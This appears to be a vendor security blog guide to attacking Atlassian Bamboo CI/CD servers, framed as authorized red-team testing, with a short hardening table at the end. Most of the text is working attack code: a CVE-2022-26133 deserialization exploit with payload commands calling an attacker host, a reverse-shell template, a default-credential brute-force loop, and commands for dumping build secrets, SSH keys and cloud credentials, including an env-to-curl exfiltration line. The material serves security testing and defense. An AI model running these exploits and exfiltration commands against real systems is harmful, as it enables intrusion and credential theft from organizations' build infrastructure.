Atlassian Bamboo is the CI/CD platform of choice for enterprise teams already running Jira and Confluence. Like its Atlassian siblings, Bamboo has been repeatedly targeted by critical CVEs — most notably CVE-2022-26133, an unauthenticated RCE via the exposed Hazelcast cluster port. Beyond the remote exploit, a Bamboo server sitting inside the corporate network holds build secrets, source code credentials, deployment keys, and a database connection with plaintext credentials. This guide covers authorized Bamboo security testing for red teams and DevSecOps engineers validating their own CI/CD posture.
Bamboo runs as a Java-based server with several exposed services. The web application runs on port 8085 by default, but the most dangerous exposure is the Hazelcast clustering port (54663) used for distributed build coordination between the Bamboo server and remote agents.
$BAMBOO_HOME/bamboo.cfg.xml. Contains database credentials, admin passwords, and licensing information — often in plaintext or trivially decoded./rest/api/latest/. Authenticated with HTTP Basic or personal access tokens. API access allows full build plan enumeration, secret variable read (sometimes), and RCE via triggering custom builds.| Service | Default Port | Primary Attack Vector |
|---|---|---|
| Bamboo Web UI | 8085 (HTTP), 8443 (HTTPS) | Default credentials; authentication bypass; session hijacking |
| Hazelcast Cluster | 54663 (TCP) | CVE-2022-26133 unauthenticated RCE via deserialization |
| Remote Agent Port | 54664 (TCP) | Rogue agent registration; agent impersonation |
| Database | 5432 / 3306 | bamboo.cfg.xml credential extraction; direct DB access |
| REST API | 8085/rest | API token abuse; build plan enumeration; secret extraction |
| JMX | Random or 1099 | JMX MBean access if unauthenticated; command execution |
CVE-2022-26133 is a critical (CVSS 9.8) pre-authentication remote code execution vulnerability in Atlassian Bamboo versions prior to 8.0.9, 8.1.x before 8.1.8, and 8.2.x before 8.2.4. The vulnerability exists because Bamboo uses Hazelcast for its cluster communication and the Hazelcast port (54663) is exposed without authentication. An attacker who can reach this port can send a crafted serialized Java object that triggers arbitrary code execution on the Bamboo server.
# Step 1: Discover Bamboo servers
nmap -sV -p 8085,8443,54663 TARGET_RANGE
# Step 2: Verify Bamboo version via web UI
curl -s "http://BAMBOO_HOST:8085/rest/api/latest/info" | python3 -m json.tool
# Returns: {"version": "8.1.3", "state": "RUNNING", ...}
# Step 3: Check if Hazelcast port is reachable
nc -zv BAMBOO_HOST 54663
# Vulnerable versions: < 8.0.9, < 8.1.8, < 8.2.4
# Step 4: Banner grab from Hazelcast port
python3 -c "
import socket, ssl
s = socket.socket()
s.settimeout(5)
try:
s.connect(('BAMBOO_HOST', 54663))
s.send(b'\\x00\\x00\\x00\\x01')
data = s.recv(1024)
print('Hazelcast port open, received:', data[:50])
except Exception as e:
print('Error:', e)
finally:
s.close()
"
# CVE-2022-26133 exploits Hazelcast Java deserialization
# Prerequisites: Java installed, ysoserial.jar available
# Step 1: Generate malicious serialized payload
# (Using CommonsBeanutils1 gadget chain — commonly present in Bamboo classpath)
java -jar ysoserial.jar CommonsBeanutils1 \
"curl http://ATTACKER_IP:8080/pwned -o /tmp/pwned" > /tmp/bamboo_payload.bin
# Step 2: Send payload to Hazelcast port
python3 << 'EOF'
import socket
import sys
BAMBOO_HOST = "BAMBOO_HOST"
HAZELCAST_PORT = 54663
with open("/tmp/bamboo_payload.bin", "rb") as f:
payload = f.read()
# Hazelcast framing: 4-byte length + payload
framed = len(payload).to_bytes(4, 'big') + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((BAMBOO_HOST, HAZELCAST_PORT))
s.send(framed)
print(f"Sent {len(framed)} bytes to Hazelcast port")
s.close()
EOF
# Step 3: Verify callback (listener on attacker machine)
nc -lvnp 8080
# Step 4: Full reverse shell payload (Linux)
java -jar ysoserial.jar CommonsBeanutils1 \
"bash -c {echo,BASE64_ENCODED_CMD}|{base64,-d}|bash" > /tmp/bamboo_shell.bin
# Verify code execution by writing a file
java -jar ysoserial.jar CommonsBeanutils1 \
"id > /tmp/bamboo_pwned.txt" > /tmp/test_payload.bin
# Send payload, then check for the file
# If Bamboo runs as a service account, the file will be owned by that user
# Common Bamboo service user: bamboo, atlassian, or root (misconfigured installs)
# Alternative: DNS callback to confirm RCE without a full reverse shell
# Use Burp Collaborator or interactsh
java -jar ysoserial.jar CommonsBeanutils1 \
"nslookup ATTACKER.burpcollaborator.net" > /tmp/dns_payload.bin
Once code execution is achieved, or if direct filesystem access is available (via a misconfigured agent or container escape), bamboo.cfg.xml is the primary credential target. This file stores database connection strings, and in older versions, admin passwords and license keys.
# Default locations (post-RCE or file read vulnerability)
# Linux
cat /var/atlassian/application-data/bamboo/bamboo.cfg.xml
cat /opt/atlassian/bamboo/bamboo.cfg.xml
cat ~/bamboo/bamboo.cfg.xml
# Common Docker deployments
find / -name "bamboo.cfg.xml" 2>/dev/null
docker exec bamboo_container cat /var/atlassian/application-data/bamboo/bamboo.cfg.xml
# Windows
type "C:\Program Files\Atlassian\Bamboo\bamboo-home\bamboo.cfg.xml"
type "%PROGRAMDATA%\Atlassian\Bamboo\bamboo.cfg.xml"
# bamboo.cfg.xml contains database credentials in plaintext
# Example structure:
<?xml version="1.0" encoding="UTF-8"?>
<!-- Bamboo configuration file -->
<com.atlassian.bamboo.BambooConfig>
<buildWorkingDirectory>/var/atlassian/application-data/bamboo/xml-data/builds</buildWorkingDirectory>
<serverUrl>http://bamboo.internal:8085</serverUrl>
<adminPassword>PLAINTEXT_ADMIN_PASS</adminPassword> <!-- older versions -->
<license>AAARR...</license>
<properties>
<property name="hibernate.connection.url">
jdbc:postgresql://db.internal:5432/bamboo
</property>
<property name="hibernate.connection.username">bamboo</property>
<property name="hibernate.connection.password">PLAINTEXT_DB_PASS</property>
</properties>
</com.atlassian.bamboo.BambooConfig>
# Parse with grep
grep -E "password|username|connection.url" /var/atlassian/application-data/bamboo/bamboo.cfg.xml
# Connect to extracted database
psql -h DB_HOST -U bamboo -d bamboo
# List build plan variables (may contain secrets)
SELECT * FROM vvar WHERE encrypted_value IS NOT NULL LIMIT 50;
# Bamboo home directory — additional sensitive files
BAMBOO_HOME=/var/atlassian/application-data/bamboo
# SSH keys used by Bamboo for source code access
ls -la $BAMBOO_HOME/.ssh/
cat $BAMBOO_HOME/.ssh/id_rsa
# Git credentials stored by Bamboo
cat $BAMBOO_HOME/.git-credentials
cat /root/.git-credentials # if running as root
# Agent bootstrap JAR (contains cluster auth token)
ls -la $BAMBOO_HOME/agent/
# Log files (may contain credentials from failed auth attempts)
grep -i "password\|credential\|secret\|token" $BAMBOO_HOME/logs/atlassian-bamboo.log | tail -100
# Cached repository credentials
find $BAMBOO_HOME -name "*.xml" | xargs grep -l "password\|credential" 2>/dev/null
Bamboo stores secret values used in build plans as "variable" or "password" type variables. These include API keys, deployment credentials, Docker registry passwords, cloud provider credentials, and signing certificates used during the build and deployment process. Even with limited access, many of these secrets can be extracted.
# Variables marked as "password" type are masked in the UI but may be returned by the API
# (depends on Bamboo version and user permissions)
BAMBOO_URL="http://BAMBOO_HOST:8085"
BAMBOO_USER="admin"
BAMBOO_PASS="admin" # default credentials
# List all build plans
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/project?expand=projects.project.plans&max-results=1000" | \
python3 -m json.tool | grep '"key"\|"name"'
# Get variables for a specific plan (PROJECT-PLAN key format)
PLAN_KEY="MYPROJECT-DEPLOY"
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/plan/$PLAN_KEY/variable" | python3 -m json.tool
# Get deployment project variables (often contain production credentials)
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/deploy/project/all" | python3 -m json.tool
# Get specific deployment project variables
DEPLOY_PROJECT_ID=1
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/deploy/project/$DEPLOY_PROJECT_ID" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(v) for v in d.get('variables',{}).values()]"
# If you cannot directly read secret variables via API, trigger a build
# that echoes all environment variables — they appear in the build log
# Step 1: Create or modify a build plan to print environment variables
# Inject into existing plan's script task:
# echo "=== BUILD SECRETS ==="; env | sort
# Step 2: Trigger the build via API
curl -s -X POST -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/queue/$PLAN_KEY" | python3 -m json.tool
# Step 3: Wait for build to complete (poll)
BUILD_NUMBER=42 # from trigger response
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/rest/api/latest/result/$PLAN_KEY-$BUILD_NUMBER" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('state'), d.get('buildState'))"
# Step 4: Retrieve build log containing secrets
curl -s -u "$BAMBOO_USER:$BAMBOO_PASS" \
"$BAMBOO_URL/download/$PLAN_KEY-JOB1/build_logs/$PLAN_KEY-JOB1-$BUILD_NUMBER.log" | \
grep -A1 "BUILD SECRETS\|AWS\|SECRET\|TOKEN\|API_KEY\|PASSWORD"
# With database access (credentials from bamboo.cfg.xml)
# Bamboo stores variable values in the vvar table
psql -h DB_HOST -U bamboo -d bamboo -c "
SELECT
bbv.name AS variable_name,
bbv.value AS plaintext_value,
bbv.encrypted_value,
p.key AS plan_key
FROM vvar bbv
JOIN plan p ON bbv.FK_PLAN_ID = p.id
WHERE bbv.secret = true OR bbv.value LIKE '%SECRET%' OR bbv.value LIKE '%KEY%'
ORDER BY p.key, bbv.name;
"
# Also check deployment project variables
psql -h DB_HOST -U bamboo -d bamboo -c "
SELECT dp.name, depv.name, depv.value, depv.encrypted_value
FROM deployment_project_variable depv
JOIN deployment_project dp ON depv.fk_deployment_project_id = dp.id;
"
Bamboo's REST API supports HTTP Basic authentication and personal access tokens (PATs). API tokens are generated per user, carry the same permissions as the user, and are stored in the database. Leaked tokens provide full API access including triggering builds, reading configurations, and — in privileged accounts — accessing the admin API.
# Method 1: HTTP Basic Auth
curl -s -u "admin:admin" "http://BAMBOO_HOST:8085/rest/api/latest/currentUser"
# Method 2: Personal Access Token (PAT)
# PATs look like: ATBBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
curl -s -H "Authorization: Bearer ATBB_TOKEN" \
"http://BAMBOO_HOST:8085/rest/api/latest/currentUser"
# Method 3: Cookie-based (after form login)
curl -s -c cookies.txt -b cookies.txt \
-X POST "http://BAMBOO_HOST:8085/userlogin.action" \
--data "os_username=admin&os_password=admin&os_destination=&atl_token=&os_cookie=on"
# Verify authentication and get user info
curl -s -u "admin:admin" "http://BAMBOO_HOST:8085/rest/api/latest/currentUser" | python3 -m json.tool
# Returns: username, fullName, email, groups
# Common Bamboo default and weak credentials
# admin:admin (setup wizard default if not changed)
# admin:bamboo
# admin:password
# bamboo:bamboo
# System accounts from LDAP integration
# Brute force detection: Bamboo locks accounts after 5 failed attempts
# Use measured testing
# Check if admin account uses default password
for PASS in admin bamboo password changeme atlassian; do
RESULT=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:$PASS" \
"http://BAMBOO_HOST:8085/rest/api/latest/currentUser")
echo "admin:$PASS -> HTTP $RESULT"
[ "$RESULT" = "200" ] && echo "SUCCESS: admin:$PASS" && break
done
# With admin credentials, enumerate full environment
BAMBOO_URL="http://BAMBOO_HOST:8085"
AUTH="admin:admin"
# Enumerate all users
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/admin/user?max-results=1000" | \
python3 -c "import sys,json; [print(u['name'], u.get('email','')) for u in json.load(sys.stdin).get('users',[])]"
# Get global variables (often contain shared credentials)
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/variable/global" | python3 -m json.tool
# Get linked repositories and their credentials
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/repository?expand=repositories&max-results=500" | \
python3 -m json.tool
# Export plan configuration (may contain embedded credentials)
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/plan/PLAN_KEY/export" | python3 -m json.tool
# List all deployment environments (production/staging)
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/deploy/project/all" | \
python3 -c "import sys,json; [print(p['id'], p['name']) for p in json.load(sys.stdin)]"
Bamboo remote agents connect to the Bamboo server to execute build jobs. In versions prior to the security hardening patches, agent authentication could be bypassed or agents could be spoofed, allowing an attacker-controlled machine to register as a legitimate build agent and intercept build jobs — including all environment variables and secrets injected during the build.
# Step 1: Download the agent bootstrap JAR from the Bamboo server
# (No authentication required to download the agent installer)
curl -O "http://BAMBOO_HOST:8085/agentServer/agentInstaller"
# Or download via the web UI path:
curl -O "http://BAMBOO_HOST:8085/admin/agent/addRemoteAgent.action"
# The page contains the command to register an agent
# Step 2: Run the agent pointing to the target Bamboo server
java -jar atlassian-bamboo-agent-installer-BAMBOO_VERSION.jar \
http://BAMBOO_HOST:8085/agentServer/
# Step 3: Agent starts and connects to Bamboo — needs admin approval
# If "Unapproved Agents" feature is enabled (non-default), the agent appears in:
# Admin > Agents > Remote agents pending approval
# Step 4: Once approved (or if auto-approval is enabled):
# The agent receives build jobs from Bamboo server
# All build variables — including secrets — are injected as environment variables
# Add a script task that exfiltrates: env | curl -X POST ATTACKER_SERVER -d @-
# If you have filesystem access on the Bamboo server:
# The agent security token is used to authenticate agents
# Find it in the Bamboo home directory
BAMBOO_HOME=/var/atlassian/application-data/bamboo
# Check for agent authentication tokens
find $BAMBOO_HOME -name "*.xml" | xargs grep -l "security\|token\|agent" 2>/dev/null
# Database: agent tokens stored in DB
psql -h DB_HOST -U bamboo -d bamboo -c "
SELECT ra.name, ra.current_security_token, ra.ip_address
FROM remote_agent ra
ORDER BY ra.name;
"
Bamboo stores build artifacts — compiled binaries, test results, deployment packages, Docker images — in its artifact storage. With authenticated access, all build artifacts are downloadable. More critically, build agents have access to the source code of every repository configured in Bamboo's linked repositories.
# List recent build results
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/result?max-results=100&expand=results.result.artifacts" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for r in data.get('results',{}).get('result',[]):
for a in r.get('artifacts',{}).get('artifact',[]):
print(r.get('buildResultKey'), a.get('name'), a.get('link',{}).get('href'))
"
# Download a specific artifact
BUILD_KEY="MYPROJECT-DEPLOY-42"
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/result/$BUILD_KEY/artifact" | python3 -m json.tool
# Direct artifact download
ARTIFACT_ID=1
curl -u "$AUTH" -O "$BAMBOO_URL/artifact/$BUILD_KEY/shared/artifact_$ARTIFACT_ID/artifact.zip"
# Bamboo stores credentials for Git, SVN, Mercurial repositories
# These credentials may be SSH keys, username/passwords, or OAuth tokens
# List all linked repositories via API
curl -s -u "$AUTH" "$BAMBOO_URL/rest/api/latest/repository" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for repo in data.get('repositories',{}).get('repository',[]):
print(repo.get('id'), repo.get('name'), repo.get('repositoryUrl'))
"
# With DB access: extract repository credentials
psql -h DB_HOST -U bamboo -d bamboo -c "
SELECT r.name, r.plugin_key, rc.name AS cred_name, rc.username, rc.encrypted_password
FROM repository r
LEFT JOIN repository_credentials rc ON rc.fk_repository_id = r.id
ORDER BY r.name;
"
# SSH keys for source code access
ls -la /var/atlassian/application-data/bamboo/.ssh/
# These keys typically have read access to all repositories in the organization
A compromised Bamboo server provides an exceptional pivot point. Bamboo has legitimate network connectivity to source code repositories, deployment targets (production servers, Kubernetes clusters), artifact registries, and cloud provider APIs. The service account running Bamboo often has elevated permissions across the infrastructure.
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, AZURE_CLIENT_SECRET are routinely stored as Bamboo variables for deployment pipelines.~/.kube/config on the agent host.~/.docker/config.json on the agent or from build variables.$BAMBOO_HOME/.ssh/ and have direct shell access to production hosts.# Post-exploitation: collect high-value credentials from build agent
# (Run these commands via RCE or compromised build job)
# AWS credentials
cat ~/.aws/credentials
cat ~/.aws/config
env | grep -i aws
# Kubernetes config
cat ~/.kube/config
kubectl get secrets --all-namespaces 2>/dev/null
# Docker registry credentials
cat ~/.docker/config.json
# SSH known hosts and keys
cat ~/.ssh/known_hosts
ls -la ~/.ssh/
# NPM and package registry tokens
cat ~/.npmrc
cat ~/.pypirc
cat ~/.m2/settings.xml # Maven credentials
# GCP service account key files
find / -name "*.json" -path "*/service-account*" 2>/dev/null | head -20
find / -name "application_default_credentials.json" 2>/dev/null
| Control | Action | Priority |
|---|---|---|
| CVE-2022-26133 patch | Upgrade to Bamboo 8.0.9+, 8.1.8+, or 8.2.4+ | Critical |
| Hazelcast network isolation | Firewall port 54663 — allow only Bamboo cluster nodes and trusted build agents; never expose to internet | Critical |
| Change default admin password | Enforce strong password during setup; do not use admin/admin | Critical |
| Restrict agent registration | Disable auto-approval of remote agents; require manual admin approval | High |
| Protect bamboo.cfg.xml | Ensure filesystem permissions restrict read access to the Bamboo service account only | High |
| Secret variable encryption | Rotate all build plan secrets post-compromise; use short-lived credentials where possible | High |
| Network segmentation | Place Bamboo server on a dedicated internal segment; agents should not have unrestricted internet access | High |
| API token rotation | Enforce expiry on personal access tokens; audit token usage via Bamboo audit log | Medium |
| Audit log monitoring | Alert on admin login, plan configuration changes, and global variable modifications | Medium |
| LDAP/SSO integration | Disable local accounts where possible; enforce MFA via identity provider | Medium |
Ironimo continuously scans CI/CD infrastructure for exposed Hazelcast ports, default credentials, and misconfigured build pipelines — the vulnerabilities that turn build servers into production backdoors.
Start free scan